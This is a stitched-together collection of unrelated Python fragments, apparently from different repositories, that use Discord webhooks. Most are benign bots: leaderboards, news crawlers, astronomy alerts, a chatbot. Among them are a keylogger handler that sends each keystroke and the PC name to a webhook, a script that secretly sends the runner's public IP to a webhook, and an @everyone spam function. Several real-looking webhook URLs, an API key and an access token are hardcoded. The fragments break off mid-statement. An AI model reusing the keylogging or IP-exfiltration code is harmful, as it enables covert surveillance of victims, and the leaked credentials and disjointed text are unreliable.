"No, no, no... all wrong. Start over. I'll give you one more week.", "My chihuahua is displeased with these options. I hope these aren't the final piece. I'll be back next week for my painting.", "Did you understand what I asked of you? Get back to it. One more week.", "I said I wanted art, not all *this*! I'll be back in a week for it..." ] webhook = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' dayOfWeek = numberToDayofWeek(datetime.datetime.today().weekday()) if dayOfWeek == "Saturday" and ( int(datetime.datetime.today().strftime("%V")) % 2 == 0): #if its friday and the week is divisible by 2 categories = ["upper", "lower"] picker = random.choice(categories) if picker is "upper": prompt = random.choice(prompts) choice = random.choice(sentencesUpper) % (prompt) else: prompt = random.choice(prompts).lower() choice = random.choice(sentencesLower) % (prompt) webhook = DiscordWebhook(url=webhook, content=choice) response = webhook.execute() elif dayOfWeek == "Friday" and not ( int(datetime.datetime.today().strftime("%V")) % 2 == 0): #if its friday and the week is NOT divisible by 2 webhook = DiscordWebhook(url=webhook, content=random.choice(reminders)) response = webhook.execute()
def on_press(key): webhook = DiscordWebhook( url=ext['webhook-id'], content=f"| Date: {today} | KEY: {str(key)} | PC name: {pcname} |", username=ext['webhook-name']) response = webhook.execute()
import requests, random from discord_webhook import DiscordWebhook, DiscordEmbed # pip install discord_webhook print('''\x1b[34m ██████╗ ███████╗██╗███╗ ██╗██████╗ ██╔════╝ ██╔════╝██║████╗ ██║██╔══██╗ ██║ ███╗█████╗ ██║██╔██╗ ██║██║ ██║ ██║ ██║██╔══╝ ██║██║╚██╗██║██║ ██║ ╚██████╔╝██║ ██║██║ ╚████║██████╔╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚═════╝ ''') print("\x1b[32mSTAR THE REPO ON GITHUB ! \x1b[39m") while True: ID = random.randint(9450000, 10000000) # Start and stop IDs edit this if you want! webhook = DiscordWebhook( url= "https://discordapp.com/api/webhooks/830398912689864736/N2bXXmG31E2syuYIndQEpmuVjoRUj2oPrdn3lCVhaYJcl1dBu4jGiTZIWMrE7dH8hEpZ" ) # initates connection with discord_webhook module r = requests.get( f'https://groups.roblox.com/v1/groups/{ID}') #sends requests using id json = r.json() # json if 'owner' in r.text: #checks if the group is valid to prevent key errors if json['owner'] == None and json[ 'publicEntryAllowed'] == True and 'isLocked' not in r.text: # check if the group isnt locked and is open with no owner members = json['memberCount'] #members desc = json['description'] #obvious what this one is print(f"\x1b[42mhttps://www.roblox.com/groups/{ID}") print(r.text) embed = DiscordEmbed(title='New unclaimed Group', color=242424) # embed title embed.add_embed_field(name='ID', value=f'{ID}') #Id to embed embed.add_embed_field(name='Description',
from prettytable import PrettyTable from discord_webhook import DiscordWebhook, DiscordEmbed import boto3 import config dynamodb = boto3.resource('dynamodb') dinnerBoardTable = dynamodb.Table(config.dinnerBoardTable) #get dinnerboard from db and format entries = dinnerBoardTable.scan()['Items'] dinner_board = PrettyTable() dinner_board.add_column('Username', [i['username'] for i in entries]) dinner_board.add_column('Wins', [i['wins'] for i in entries]) dinner_board.add_column('Kills', [i['kills'] for i in entries]) dinner_board.add_column('Top Kills', [i['topKills'] for i in entries]) dinner_board.add_column('Top Dps', [i['topDps'] for i in entries]) dinner_board.sortby = 'Wins' dinner_board.reversesort = True dinner_board.align = 'c' #print dinnerboard to discord using webhook webhook = DiscordWebhook(url=config.WEBHOOK_URL) embed = DiscordEmbed(title='Dinner Board', description='```\n' + dinner_board.get_string() + '```') webhook.add_embed(embed) response = webhook.execute()
import time import platform import os import requests import discord_webhook from discord_webhook import DiscordWebhook, DiscordEmbed ip = 'https://api.ipify.org/' output = requests.get(ip).text webhook = DiscordWebhook(url='YOUR URL HERE') embed = DiscordEmbed(title='someone got logged', description=output, color=65280) embed.set_timestamp() webhook.add_embed(embed) response = webhook.execute() print("get LOGGED SKID I GOT YOUR IP ITS" " " + output + " " "AM I RIGHT?") feeling = input("How do you feel? anser in good or bad?:") if feeling.lower() == 'bad': print( "Man you should thats why you dont run random files on this biggg internet" ) if feeling.lower() == 'good': print( "MAN are you dumb or what? lets imagine if this logged you for real what will you do? someone can get your location ddos you etc a form for info on what if someone gets your ip https://smartproxy.com/what-is-a-proxy/what-can-someone-do-with-your-ip-address#:~:text=If%20someone%20knows%20your%20IP,connect%20to%20your%20device%20directly.&text=There%20are%20tens%20of%20thousands,data%20or%20even%20impersonate%20you" ) print("Have a great day!") time.sleep(5)
def spam(): webhook = DiscordWebhook(url='WEBHOOK_URL', content='@everyone') ## replace WEBHOOK_URL with your webhook url response = webhook.execute()
def publish_message(discord_url, msg): webhook = DiscordWebhook(url=discord_url, content=message) response = webhook.execute()
def process_gcn(payload, root): """Handler-функция для gcn.listen На вход принимает payload = open(file, 'rb').read() root = lxml.etree.fromstring(payload) Отдаёт кучу всего в stdout и отправляет сообщение в дискорд-канал по API ключу """ # Переключение тестовых алертов и реальных # if root.attrib['role'] != 'observation': # return if root.attrib['role'] == 'test': return params = { elem.attrib['name']: elem.attrib['value'] for elem in root.iterfind('.//Param') } print("NEW MESSAGE TYPE={type}".format(type=params['Packet_Type']), flush=True) # Print all parameters. for key, value in params.items(): print(key, '=', value, flush=True) trigtime_object = datetime.datetime.strptime( root.find('.//{*}ISOTime').text.strip(), "%Y-%m-%dT%H:%M:%S.%f") print("trig_time=", trigtime_object.strftime("%Y-%m-%d %H:%M:%S")) noticetime_object = datetime.datetime.now() print("notice_time=", noticetime_object.strftime("%Y-%m-%d %H:%M:%S")) if 'skymap_fits' not in params: try: pos2d = root.find('.//{*}Position2D') ra = float(pos2d.find('.//{*}C1').text) print("RA=", ra, flush=True) dec = float(pos2d.find('.//{*}C2').text) print("DEC=", dec, flush=True) err = float(pos2d.find('.//{*}Error2Radius').text) print("errorbox=", err, flush=True) has_coords = True except AttributeError: has_coords = False else: has_coords = False print("===END===", flush=True) webhook = DiscordWebhook(url=discord_key) embed = DiscordEmbed(title=socket_name[int(params['Packet_Type'])] + '({})'.format(params['Packet_Type']), description='seq=' + params['Pkt_Ser_Num'], color=242424) embed.set_timestamp(timestamp=datetime.datetime.now().isoformat()) if 'GraceID' in params: embed.add_embed_field(name='GraceID', value=params['GraceID']) if 'Instruments' in params: embed.add_embed_field(name='Instruments', value=params['Instruments']) if ('GraceID' in params): image_data = re.search('^.*/(\w+)\.fits\.gz(,\d)\s*$', params['skymap_fits'], flags=re.I + re.M) embed.set_image( url= 'https://gracedb.ligo.org/api/superevents/{graceid}/files/{pipeline}.png{seq}' .format(graceid=params['GraceID'], pipeline=image_data.group(1), seq=image_data.group(2))) if 'AlertType' in params: embed.add_embed_field(name='Alert Type', value=params['AlertType']) if 'TrigID' in params: embed.add_embed_field(name='TrigID', value=params['TrigID']) if 'EventPage' in params: embed.add_embed_field(name='Event Page', value=params['EventPage']) if 'BNS' in params: embed.add_embed_field( name='BNS NSBH BBH GAP Terr', value="{:2.2f} {:2.2f} {:2.2f} {:2.2f} {:2.2f}".format( float(params['BNS']), float(params['NSBH']), float(params['BBH']), float(params['MassGap']), float(params['Terrestrial']), ), inline=False) if has_coords: embed.add_embed_field(name='Localisation', value="{ra} d {dec} d {eb}".format(ra=ra, dec=dec, eb=err)) embed.add_embed_field(name='Trigger time', value=trigtime_object.strftime("%Y-%m-%d %H:%M:%S")) embed.add_embed_field( name='Notice time', value=noticetime_object.strftime("%Y-%m-%d %H:%M:%S")) webhook.add_embed(embed) response = webhook.execute() if response.ok is False: print(response.status_code, response.text)
json_file = open('/opt/opencue/discord_data.json', 'r') json_data = json.load(json_file) json_file.close() webhook = json_data['webhook_render'] user = sys.argv[1] message = sys.argv[2] video = '' if len(sys.argv) == 4: video = sys.argv[3] try: user = json_data['users'][user] except: pass message = '%s - %s.' % (user, message) webhook = DiscordWebhook(url=webhook, content=message) if video != '': with open(video, 'rb') as f: webhook.add_file(file=f.read(), filename=os.path.basename(video)) response = webhook.execute() # DISCORD # https://pypi.org/project/discord-webhook/
def get_pcrd_news(): global current_title global timer_interval now = datetime.now() time = now.strftime("%Y/%m/%d %H:%M:%S") # File Input f = open('pcrd_titles.txt','r+', encoding="utf-8") readTitles = f.readlines() writeTitles = readTitles # Crawler r = requests.get("http://www.princessconnect.so-net.tw/news") soup = BeautifulSoup(r.text, 'html.parser') divObjects = soup.find_all("dd") dtObjects = soup.find_all("dt") r = requests.get("http://www.princessconnect.so-net.tw/news?page=2") # Page 2 soup = BeautifulSoup(r.text, 'html.parser') divObjects += soup.find_all("dd") dtObjects += soup.find_all("dt") isUpdated = False for i in range(len(divObjects)): title = list(reversed(divObjects))[i].findAll("a", recursive=False)[0] event_type = list(reversed(dtObjects))[i].findAll("span", recursive=False)[0].get_text() date = list(reversed(dtObjects))[i].text # tag color if event_type == '更新': tag_color = 16077457 elif event_type == '系統': tag_color = 10512325 else: tag_color = 3775462 current_title = title['title'] find_news = False if "外掛停權" in current_title: continue for line in readTitles: if current_title in line: find_news = True break if (find_news == False) and (now.strftime("%Y.%m.%d") in date): writeTitles.insert(0, current_title + '\n') current_link = title['href'] r = requests.get(base_Url + current_link) soup = BeautifulSoup(r.text, 'html.parser') news_link = urllib.parse.urljoin(base_Url, current_link) section = soup.select('body > main > article > article > section > p') content = "" for e in section: for x in e.find_all(): if len(x.get_text(strip=True)) == 0 and x.name != 'br': x.extract() for div in e.find_all('div'): div.unwrap() brtag = str(e).replace("<br/>", "\n") multiblank = re.sub("([ \t]*\n){3,}", "\n\n", brtag) content += BeautifulSoup(multiblank, "html.parser").get_text() content = content.replace('*', '×') content = (content[:550] + ' ......\n[詳細內容](' + news_link + ')') if len(content) > 550 else content embed = DiscordEmbed() embed.set_author(name='超異域公主連結☆Re:Dive', icon_url='http://www.princessconnect.so-net.tw/images/pc-icon.png') embed.title = current_title embed.url = news_link embed.description = content embed.color = tag_color for link in webhook_links: new_embed = embed webhook = DiscordWebhook(url=link) webhook.add_embed(new_embed) webhook.execute() print(f'[{time}] - 已更新:{current_title}') isUpdated = True else: print(f'[{time}] - 未更新:{current_title}') while len(writeTitles) > 20: writeTitles.pop() if isUpdated: print(f'[{time}] - 已儲存檔案') f.seek(0) f.truncate(0) f.writelines(writeTitles) f.close()
list = Score() item = (list[0].split("**")[1]) # the item #score = (list[0].split()[3]) #print("========") time.sleep(60) list = Score() newItem = (list[0].split("**")[1]) # the item if not item == newItem: print("NEW BEST ITEM!") color = random.randint(0, 0xffffff) webhook = DiscordWebhook(url=url) embed = DiscordEmbed(title="New best item:", color=color) embed.set_author( name="p337", icon_url= "https://cdn.discordapp.com/attachments/703719065977487390/708392264086585364/yeeeeeeeeee.png" ) embed.add_embed_field( name="New item with the best skyscore is " + newItem, value="<@585935919224324117> The new best item is " + newItem + ". The skyscore is " + list[0].split()[3] + ".", inline=False) embed.set_footer(text="Color: " + str(color)) embed.set_timestamp() webhook.add_embed(embed)
from flask import * from flask_mysqldb import MySQL, MySQLdb from discord_webhook import DiscordWebhook, DiscordEmbed, webhook import requests import json import bcrypt import datetime webhook = DiscordWebhook(url='https://discord.com/api/webhooks/808249420750520351/7S3GqGkalYuzmNi8M9x6dU3KGjeR40sTbVv0d4ROSwtO_HbrjpBItAuiKfAtCMHtoEuI') API_KEY = 'LwMepQiQSd2tOCueHzk5rS4fPXA9fgdlpwPHAEvxYHMpQYPkfmhFw7PpRSa5lmsR' access_token = 'a0f18fb3e52643eeb79ee4e5535bed88' app = Flask(__name__) app.config['MYSQL_HOST'] = 'localhost' app.config['MYSQL_USER'] = '******' app.config['MYSQL_PASSWORD'] = '' app.config['MYSQL_DB'] = '9animedb' app.config['MYSQL_CURSORCLASS'] = 'DictCursor' mysql = MySQL(app) class DiscordAlert: global API_KEY global access_token def __init__(self, comment_id, reason, timeout = 0): url = 'https://disqus.com/api/3.0/posts/details.json?api_key={}&post={}&access_token={}'.format(API_KEY,
): #dumb hack, fix this later mentions.append(item) elif hasattr(item, 'title'): if config["searchString"] in item.title.lower(): mentions.append(item) return mentions except Exception as e: print(e) pass if __name__ == "__main__": #Initiate a bunch of stuff loadConfig() api = PushshiftAPI() webhook = DiscordWebhook(url=config["webhook"]) postCache = loadCache() #Scan stream of comments to find mentions of word commentMentions = queryPushshift(api, postCache, "comments") for comment in commentMentions: postCache = postWebhook(webhook, comment, postCache, "comments") time.sleep(3) #Scan stream of submissions to find mentions of word submissionMentions = queryPushshift(api, postCache, "submissions") if submissionMentions: for submission in submissionMentions: postCache = postWebhook(webhook, submission, postCache, "submissions") time.sleep(3) if postCache: saveCache(postCache)
dateTimeObj = datetime.datetime.now() print("[", timestampStr, "]" "[INFO :] LOGGING INTO ACCOUNT") account = browser.find_elements_by_class_name("_56AraZ") loginbtn = browser.find_element_by_xpath( "/html/body/div[1]/div/div[2]/div/div/form/div/div[2]/button") account[0].send_keys(username) account[1].send_keys(password) time.sleep(0.5) loginbtn.click() time.sleep(2) # START SNIPING newtime() print("[", timestampStr, "]" "[INFO :] LOGIN ACTIVITY DONE, NOW SNIPING...") webhook = DiscordWebhook( url=logs, content='[INFO :] LOGIN ACTIVITY DONE, NOW SNIPING...') if pakelog == "y": response = webhook.execute() newtime() print("[", timestampStr, "]" "[INFO :] REDIRECTING INTO THE SPECIFIED PRODUCT URL...") webhook = DiscordWebhook( url=logs, content='[INFO :] REDIRECTING INTO THE SPECIFIED PRODUCT URL...') if pakelog == "y": response = webhook.execute() browser.get(producturl) newtime() print("[", timestampStr, "]" "[INFO :] CHECKING IF PRODUCT VARIANT EXISTS...") webhook = DiscordWebhook(
from discord_webhook import DiscordWebhook webhook_urls = ['webhook url 1', 'webhook url 2'] webhook = DiscordWebhook(url=webhook_urls, content='Webhook Message') response = webhook.execute()
def delete_webhook(): webhook = DiscordWebhook(url='your webhook url', content='Webhook Content') sent_webhook = webhook.execute() sleep(10) webhook.delete(sent_webhook)
if version not in changelog: print("Version {} not in changelog!".format(version)) exit(1) changes = changelog[version] title = "🎹🎶 **{} v{} - {}**".format( GITHUB_REPO, changes["version"], changes["release_date"] ) release_url = "https://github.com/{}/{}/releases/tag/v{}".format( GITHUB_USER, GITHUB_REPO, version ) webhook = DiscordWebhook(url=webhook_url, username=GITHUB_REPO, avatar_url=AVATAR_URL) embed = DiscordEmbed(title=title, url=release_url, color=COLOR) embed.set_author( name=GITHUB_USER, url="https://github.com/{}".format(GITHUB_USER), icon_url="https://github.com/{}.png".format(GITHUB_USER), ) embed.set_thumbnail(url=THUMBNAIL_URL) add_field(embed, changes, "✨ Added:", "added") add_field(embed, changes, "� Changed:", "changed") add_field(embed, changes, "� Fixed:", "fixed") add_field(embed, changes, "🗑 Removed:", "removed") embed.set_footer(text="GitHub", icon_url=FOOTER_ICON_URL) embed.set_timestamp()
def discord(msg): webhook = DiscordWebhook(url=url_wb, content=msg) response = webhook.execute()
async def on_message(message): if message.guild == None and message.author.bot == False: embed = discord.Embed( title="DM integration", url= "https://www.notion.so/jadeai/1c0f1d42eb6345b58013a1be35e47793?v=d45f7f3d26e140c995f8a9021564bb99", description= "Dms are not supported yet! when they are, they will require a upvote on top.gg and a confimed server referral to a server with 10+ non-bot members", color=0x80ff80) await message.channel.send(embed=embed) elif message.author.bot == False: global personality, tokenizer, model, client, t1, settings, history, user_version if message.content.lower().startswith(prefix): history = [] settings = args1 user_version = -1 try: user_status = await dbli.get_user_vote( user_id=message.author.id) except: user_status = False udata = pickle.load(open("hist/user/users.p", "rb")) try: user_data = udata["users"][message.author.id] except: user_data = {"timestamp": time.time() - 30, "message_count": 0} try: for key, value in pickle.load( open("hist/" + str(message.guild.id) + ".p", "rb")).items(): globals()[str(key)] = value except Exception as e: args.seed = random.randint(0, 9999999999) t1 = time.time() - 30 pickle.dump( { "t1": t1, "settings": args, "history": [], "user_version": current_version }, open("hist/" + str(message.guild.id) + ".p", "wb")) if user_version != current_version: for version_num in range(user_version + 1, current_version + 1): try: await message.channel.send( embed=build_versions.version_message( version_num, client, prefix)) except: pass if message.content.lower() == prefix + "-h": embed = await build_versions.make_help(dbli, client, prefix) await message.channel.send(embed=embed, delete_after=150) try: await message.delete() except: pass elif message.content.lower() == prefix + "-p": embed = discord.Embed(title="User Profile: " + str(message.author), url="https://jadeai.ml", color=0x80ff80) embed.set_thumbnail(url=message.author.avatar_url) embed.add_field( name="Last seen", value=str( datetime.datetime.fromtimestamp( user_data["timestamp"]).strftime('%X %x')) + time.strftime(" %Z"), inline=False) embed.add_field(name="Number of Messages", value=str(user_data["message_count"]), inline=False) embed.set_footer(text="Global Total: " + str(udata["message_total"][str(date.today())])) await message.channel.send(embed=embed, delete_after=150) try: await message.delete() except: pass elif message.content.lower() == prefix + "-v": embed = discord.Embed( title="Voting Link", url="https://top.gg/bot/410253782828449802/vote", color=0x80ff80) embed.set_image(url=await dbli.get_widget_large(client.user.id)) if await dbli.get_user_vote(user_id=message.author.id): embed.set_footer(text="Thanks for supporting Jade!") else: embed.set_footer(text="You have yet to vote for Jade!") embed.set_author(name=str(message.author), icon_url=message.author.avatar_url) await message.channel.send(embed=embed, delete_after=100) try: await message.delete() except: pass elif message.content.lower() == prefix + "-s": history = get_history(message) settings = vars(settings) embed = discord.Embed( title="Settings", url="https://jadeai.ml", description= "__ __\nServer-Side Settings 🔒", color=0x80ff80) embed.add_field(name="model", value=str(settings["model"]), inline=True) embed.add_field(name="model_checkpoint", value=str(settings["model_checkpoint"]), inline=True) embed.add_field(name="device", value=str(settings["device"]), inline=True) embed.add_field( name= "__ __", value="User-Changable Settings 🔓", inline=False) embed.add_field(name="temperature", value=str(settings["temperature"]) + "/1", inline=True) embed.add_field(name="top_k", value=str(settings["top_k"]), inline=True) embed.add_field(name="top_p", value=str(settings["top_p"]) + "/1", inline=True) if user_status: val = "Supporter-Only Settings 🔓" else: val = "Supporter-Only Settings 🔐 [vote for her here](https://top.gg/bot/410253782828449802/vote)" embed.add_field( name= "__ __", value=val, inline=False) embed.add_field(name="seed", value=str(settings["seed"]), inline=True) embed.add_field(name="auto_seed", value=str(settings["auto_seed"]), inline=True) embed.add_field(name="max_history", value=str(settings["max_history"]) + '/10', inline=True) embed.add_field(name="max_length", value=str(settings["max_length"]) + "/20", inline=True) embed.add_field(name="no_sample", value=str(settings["no_sample"]), inline=True) embed.add_field(name="", value="", inline=True) embed.add_field( name= "__ __", value="History", inline=False) if len(get_history(message).replace("> ", "").split("\n")) >= 4: embed.add_field(name="Jade similarity score: `" + str( avg_similarity( settings["max_history"], get_history(message).replace("> ", "").split("\n"))) + "`", value=get_history(message), inline=False) else: embed.add_field(name="Jade similarity score: `NAN`", value=get_history(message), inline=False) await message.channel.send(embed=embed, delete_after=300) try: await message.delete() except: pass elif message.content.lower().startswith(prefix + "-s "): parameter = message.content.lower()[len(prefix) + 3:].split(" ") any_changes = False if len(parameter) == 2: alt_settings = vars(settings) server = ["model", "model_checkpoint", "device"] client_side = ["temperature", "top_k", "top_p"] privledged = [ "no_sample", "seed", "auto_seed", "max_history", "max_length" ] limiters = { "temperature": { "max": 1, "type": float }, "top_k": { "max": float("inf"), "type": int }, "top_p": { "max": 1, "type": float }, "no_sample": { "type": str2bool }, "seed": { "max": float("inf"), "type": int }, "auto_seed": { "type": str2bool }, "max_history": { "max": 10, "type": int }, "max_length": { "max": 20, "type": int } } if parameter[0] in server: embed = discord.Embed( title="Settings", description="`" + str(parameter[0]) + "` is a server-side setting, and cannot be changed.", color=0x80ff80) elif parameter[0] in privledged and user_status == False: embed = discord.Embed( title="Settings", description="`" + str(parameter[0]) + "` is a supporter-only setting. [vote for Jade on top.gg](https://top.gg/bot/410253782828449802/vote)", color=0x80ff80) elif (parameter[0] in client_side ) or parameter[0] in privledged and user_status == True: ch = limiters[parameter[0]]["type"](parameter[1]) if limiters[parameter[0]]["type"] == float or limiters[ parameter[0]]["type"] == int: if limiters[parameter[0]]["max"] >= ch and ch >= 0: embed = discord.Embed( title="Settings", description="`" + str(parameter[0]) + "` changed from `" + str(alt_settings[parameter[0]]) + "` to `" + str(parameter[1]) + "`", color=0x80ff80) embed.set_footer(text="Default setting: " + str(vars(args1)[parameter[0]])) alt_settings[parameter[0]] = ch any_changes = True else: embed = discord.Embed( title="Settings", description="`" + str(parameter[0]) + "` could not be changed from `" + str(alt_settings[parameter[0]]) + "` to `" + str(parameter[1]) + "` becasue it is `<= 0` or `>= " + str(limiters[parameter[0]]["max"]) + "`", color=0x80ff80) embed.set_footer(text="Default setting: " + str(vars(args1)[parameter[0]])) else: embed = discord.Embed( title="Settings", description="`" + str(parameter[0]) + "` changed from `" + str(alt_settings[parameter[0]]) + "` to `" + str(ch) + "`", color=0x80ff80) embed.set_footer(text="Default setting: " + str(vars(args1)[parameter[0]])) alt_settings[parameter[0]] = ch any_changes = True else: embed = discord.Embed(title="Settings", description="`" + str(parameter[0]) + "` is not a valid setting.", color=0x80ff80) pickle.dump( { "t1": t1, "settings": settings, "history": history, "user_version": user_version }, open("hist/" + str(message.guild.id) + ".p", "wb")) else: embed = discord.Embed(title="Settings", description="`" + str(parameter) + "` contains more than two parts.", color=0x80ff80) await message.channel.send(embed=embed, delete_after=150) try: await message.delete() except: pass if any_changes: try: settings = vars(settings) webhook = DiscordWebhook(url=config["logchannel"], avatar_url=str( message.guild.icon_url), username=str(message.guild.name)) embed = DiscordEmbed( title="Settings", description= "__ __", color=0x80ff80) embed.add_embed_field(name="model", value=str(settings["model"])) embed.add_embed_field(name="model_checkpoint", value=str( settings["model_checkpoint"])) embed.add_embed_field(name="device", value=str(settings["device"])) embed.add_embed_field(name="temperature", value=str(settings["temperature"]) + "/1") embed.add_embed_field(name="top_k", value=str(settings["top_k"])) embed.add_embed_field(name="top_p", value=str(settings["top_p"]) + "/1") embed.add_embed_field(name="seed", value=str(settings["seed"])) embed.add_embed_field(name="auto_seed", value=str(settings["auto_seed"])) embed.add_embed_field(name="max_history", value=str(settings["max_history"]) + '/10') embed.add_embed_field(name="max_length", value=str(settings["max_length"]) + "/20") embed.add_embed_field(name="no_sample", value=str(settings["no_sample"])) embed.add_embed_field(name="", value="") embed.add_embed_field( name= "__ __\n", value=time.strftime('%X %x %Z')) webhook.add_embed(embed) webhook.execute() except: pass elif message.content.lower().startswith(prefix + "-r"): parameter = message.content.lower()[len(prefix) + 3:] desc = "Reset settings and history" h = ["-h", "hist", "history"] s = ["-s", "settings"] for s1 in s: if s1 in parameter: desc = "Reset settings" settings = args1 for h1 in h: if h1 in parameter: desc = "Reset history" history = [] if parameter == "": history = [] settings = args1 pickle.dump( { "t1": t1, "settings": settings, "history": history, "user_version": user_version }, open("hist/" + str(message.guild.id) + ".p", "wb")) embed = discord.Embed(title="Reset", description=desc, color=0x80ff80) await message.channel.send(embed=embed, delete_after=100) try: await message.delete() except: pass try: webhook = DiscordWebhook(url=config["logchannel"], avatar_url=str( message.guild.icon_url), username=str(message.guild.name)) embed = DiscordEmbed(title="Server settings reset", description=time.strftime('%X %x %Z'), color=0x80ff80) embed.set_author(name=str(message.author), icon_url=str(message.author.avatar_url)) webhook.add_embed(embed) webhook.execute() except: pass elif message.content.lower().startswith(prefix): if user_status: ratelimit = 2 else: ratelimit = 8 if round(time.time()) - user_data["timestamp"] > ratelimit: await message.channel.trigger_typing() raw_text = message.content[len(prefix):][:100].lower().strip() raw_text = re.sub(r"([?.!,])", r" \1 ", raw_text) raw_text = re.sub(r'[" "]+', " ", raw_text) raw_text = re.sub(r"[^a-zA-Z0-9?.!,\'%\s\/#]+", "", raw_text) raw_text = re.sub(r"(\s+){2,}", " ", raw_text) raw_text = raw_text.strip() history.append(tokenizer.encode(raw_text.replace("\n", " "))) with torch.no_grad(): out_ids = sample_sequence(personality, history, tokenizer, model, settings) history.append(out_ids) history = history[-(2 * args.max_history + 1):] if len(get_history(message).replace("> ", "").split("\n")) >= 4: if avg_similarity( settings.max_history, get_history(message).replace("> ", "").split( "\n")) >= 0.3 and settings.auto_seed == True: settings.seed = random.randint(0, 9999999999) pickle.dump( { "t1": round(time.time()), "settings": settings, "history": history, "user_version": current_version }, open("hist/" + str(message.guild.id) + ".p", "wb")) user_data["message_count"] += 1 user_data["timestamp"] = round(time.time()) udata["users"][message.author.id] = user_data new_data = udata["message_rate"] new_total = udata["message_total"] try: new_data[str(date.today())] = udata["message_rate"][str( date.today())] + 1 new_total[str(date.today())] = udata["message_total"][str( date.today())] + 1 except: new_data[str(date.today())] = 1 new_total[str(date.today())] = udata["message_total"][str( date.today() - datetime.timedelta(days=1))] + 1 pickle.dump( { "message_total": new_total, "message_rate": new_data, "users": udata["users"] }, open("hist/user/users.p", "wb")) out_text = tokenizer.decode(out_ids, skip_special_tokens=True) await message.channel.send(out_text) try: webhook = DiscordWebhook(url=config["logchannel"], avatar_url=str( message.guild.icon_url), username=str(message.guild.name)) embed = DiscordEmbed( title= "__ __\n\n" + str(message.author) + ": " + raw_text.replace("\n", " "), description="Jade: " + out_text, color=0x80ff80) embed.add_embed_field( name= "__ __", value=time.strftime('%X %x %Z')) embed.set_author(name=str(message.author), icon_url=str(message.author.avatar_url)) webhook.add_embed(embed) webhook.execute() except: pass else: embed = discord.Embed( title="Ratelimit", description= "Calm down or [upvote Jade](https://top.gg/bot/410253782828449802/vote) before trying again!", color=0x80ff80) embed.set_footer(text="Try again in " + str(round(time.time() - t1)) + " seconds") embed.set_author(name=str(message.author), icon_url=str(message.author.avatar_url)) await message.channel.send(embed=embed, delete_after=50) try: await message.delete() except: pass
def on_error(self,status): #Called if there is an issue with tweet data webhook = DiscordWebhook(url=self.hook, content="Error %s; ") webhook.execute() return False
time.sleep(1) print(" * ") print(" )\))( ( ) ( ( ( ) ( /( ") print("((_)()\ ))\ ( ( ( /( )\))( ))\ /(( )\()) ") print("(_()((_) /((_))\ )\ )(_))((_))\ /((_) (_))\((_)\ ") print("| \/ |(_)) ((_)((_)((_)_ (()(_)(_)) _)((_)/ (_) ") print("| |\/| |/ -_)(_-<(_-</ _` |/ _` | / -_) \ V / | | ") print("|_| |_|\___|/__//__/\__,_|\__, | \___|_____\_/ |_| ") print(" |___/ |_____| ") url = input('Enter your Webhook URL:') message = input('Enter your message:') webhook = DiscordWebhook(url=url, content=message) response = webhook.execute() time.sleep(0.5) print("Loading ..") time.sleep(0.5) print("Loading.. ") time.sleep(0.5) print("Loading ..") time.sleep(0.5) print("Loading.. ") time.sleep(0.5) print("Loading ..") time.sleep(0.5) print("Loading.. ") time.sleep(0.5)
def update_discord(new, extra, webhook_url): webhook = DiscordWebhook(url=webhook_url) for i in new: embed = DiscordEmbed(title='{}({})'.format(new[i]['name'], new[i]['color']), description='id: {}'.format(i), color=7395813, timestamp=new[i]['date']) embed.set_thumbnail(url=new[i]['image']) embed.set_footer( text="Lacuh time", icon_url="https://cdn.discordapp.com/embed/avatars/0.png") embed.set_image(url=new[i]['image']) embed.add_embed_field(name="Lauch Method", value="{}".format(new[i]['publishType'])) embed.add_embed_field(name="Price", value="${}\n".format(new[i]['price'])) embed.add_embed_field(name='Product Type', value=new[i]['type']) webhook.add_embed(embed) webhook.execute() webhook.remove_embed(0) time.sleep(3) for i in extra: embed = DiscordEmbed(title=extra[i]['name'], description='id: {}'.format(i), color=7395813, timestamp=extra[i]['date']) embed.set_image(url=extra[i]['image']) embed.set_footer( text='Published time', icon_url="https://cdn.discordapp.com/embed/avatars/0.png") embed.set_thumbnail(url=extra[i]['image']) embed.add_embed_field(name='detail', value=extra[i]['desc']) webhook.add_embed(embed) webhook.execute() webhook.remove_embed(0) time.sleep(3)
def main(): you_won = False # Grab all the links url = 'https://giveawaylisting.com/index2.html' urllib3.disable_warnings() headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ' 'Chrome/77.0.3865.90 Safari/537.36' } response = get(url, headers=headers, verify=False, timeout=60) tree = html.fromstring(response.content) print('Aquiring list of giveway links...') table = tree.xpath( '//table[@id="giveaways"]/tbody/tr[@class="lucky video" or @class="lucky"]/td[1]/a/@href' ) print("Finished! Let's get started!\n") # Sometimes the top 3 class names are not correctly named so we skip them fresh_links = table[2:] # Reverse list because giveaways ending soonest are in the end of the list fresh_links.reverse() # Load past links list from pickle dir_path, _ = os.path.split( os.path.abspath(__file__)) # path of executing file PICKLE_FILE_PATH = os.path.join(dir_path, 'pastlinks.pickle') try: past_links = pickle.load(open(PICKLE_FILE_PATH, 'rb')) except (OSError, IOError) as e: past_links = [] # Setup links so we only use unattemped and store attempted that are still fresh if past_links: # Remove old links: remove from past_links what IS NOT in fresh_links past_links = list(set(past_links) & set(fresh_links)) # Remove attempted links: remove from fresh_links what IS in past_links fresh_links = [item for item in fresh_links if item not in past_links ] # This method preserves order # If zero links available then sleep for one hour. if len(fresh_links) == 0: print('No giveaways, sleeping for one hour') time.sleep(3600) # Sleep for one hour return False for i, giveaway_link in enumerate(fresh_links): try: print( f'Opening Giveaway link: {giveaway_link} ({i+1} of {len(fresh_links)})' ) driver.get(giveaway_link) pause_small() # Checking to see if we need to log in login_needed = element_exists(driver, 'participation-need-login') if login_needed: driver.find_element(By.XPATH, '//span[@class="a-button-inner"]').click() pause_mini() print('Please log in...') while True: try: ga_image = driver.find_element_by_xpath( "//*[@class='a-section a-text-center prize-image']" ) if ga_image: break except NoSuchElementException: print('Waiting for login. Sleeping for 2 seconds') pause_medium() # Checking to see if the giveaway has ended ended_check = element_exists( driver, 'a-section a-spacing-medium a-padding-base not-active') if ended_check: continue print('Waiting for page load to complete') pause_small() ready = WebDriverWait(driver, 30).until( EC.visibility_of_element_located(( By.XPATH, '//div[@class="a-section a-spacing-medium a-text-left"]'))) # Store link as already attempted past_links.append(giveaway_link) if (i % 50) == 0: # Store all attempted links for later - write this every 50 iterations print( f'--- Dumping attempted links to pickle: {PICKLE_FILE_PATH}' ) pickle.dump(past_links, 